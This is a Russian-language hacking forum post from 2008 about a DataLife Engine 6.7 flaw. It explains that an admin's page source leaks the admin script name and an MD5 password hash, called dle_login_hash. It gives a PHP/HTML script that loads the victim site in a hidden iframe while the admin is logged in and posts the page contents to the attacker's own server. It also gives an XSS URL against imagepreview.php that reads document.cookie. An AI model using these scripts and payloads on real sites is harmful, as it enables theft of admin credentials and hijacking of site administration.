Показать сообщение отдельно

DataLife Engine 6.7 vulnerability or higher
  #7  
Старый 21.04.2008, 00:34
gibson
Постоянный
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию DataLife Engine 6.7 vulnerability or higher

1. Бага заключается в следующем.
Смотрим сорс страницы пользователя
PHP код:
<script language="javascript" type="text/javascript">
<!--
var 
dle_root       '/';
var 
dle_skin       'wf_0_1';
var 
dle_wysiwyg    'no';
var 
menu_short     'Быстрое редактирование';
var 
menu_full      'Полное редактирование';
var 
menu_profile   'Просмотр профиля';
var 
menu_fcomments 'Найти все комментарии';
var 
menu_send      'Отправить сообщение';
var 
menu_uedit     'Админцентр';
var 
dle_req_field  'Заполните все необходимые поля';
var 
dle_del_agree  'Вы действительно хотите удалить этот комментарий?';
//-->
</script
Теперь смотрим сорсы страницы админа
PHP код:
<script language="javascript" type="text/javascript">
<!--
var 
dle_root       '/cms/dle/';
var 
dle_admin      'admin.php';
var 
dle_login_hash '1bc5a8a12d90e476dbf6d1bcd58b5860';
var 
dle_skin       '123';
var 
dle_wysiwyg    'no';
var 
menu_short     'Быстрое редактирование';
var 
menu_full      'Полное редактирование';
var 
menu_profile   'Просмотр профиля';
var 
menu_fnews     'Найти все публикации';
var 
menu_fcomments 'Найти все комментарии';
var 
menu_send      'Отправить сообщение';
var 
menu_uedit     'Админцентр';
var 
dle_req_field  'Заполните все необходимые поля';
var 
dle_del_agree  'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
var 
dle_del_news   'Удалить новость';
var 
allow_dle_delete_news   true;
//-->
</script
Собственно это нам и нужно
Код HTML:
var dle_admin      = 'admin.php'; // скрипт адмиского входа.
var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; хеш пароля md5
Логин админа можно узнать из новостей публикуемых на сайте, но могут публиковать и привелигерованные пользователи, по другому хз.
Накатали скрипт, респект zarin за помощь, который подгружает страницу с серва и сохраняет ее на хосте. Нужно только одно условие чтобы оно сработало, это чтобы админ был залогинен на сайте.

PHP код:
<?php
if(isset($_POST["frame"])) {
    
$fh fopen("gibson.txt","w+");
    
fwrite($fh,$_POST["frame"]);
    
fclose($fh);
    
}
else{
?>
<html>
<head>
<script>
    function sendFrame(FrameID,FormID,TextareaID)
    {
        content = document.getElementById(FrameID).contentDocument.text;
        document.getElementById(TextareaID).value = content;
        document.getElementById(FormID).submit();
    }
</script>
</head>

<body>
<div style="display:block;">
    <form action="gibson.php" method="post" id="form0">
    <textarea name="frame" id="text0" style="display:none;" ></textarea>
    <input type="submit" name="ok" value="ok" style="display:none;" >
    </form>
</div>

<IFRAME src="http://xxx.xx/index.php" onload="sendFrame('frame0','form0','text0')" id="frame0" WIDTH="0" HEIGHT="0" >
</IFRAME>

</body>
</html>
<?}?>
ps Скрипт работает в опере с локальными адресами! В фф сек эрроры)

2. Ну и так для развлечения ксс
PHP код:
http://xxx.xx/engine/modules/imagepreview.php?image=javascript:alert(document.cookie); 
Нужно только чтобы рисунки были включены.
 
Ответить с цитированием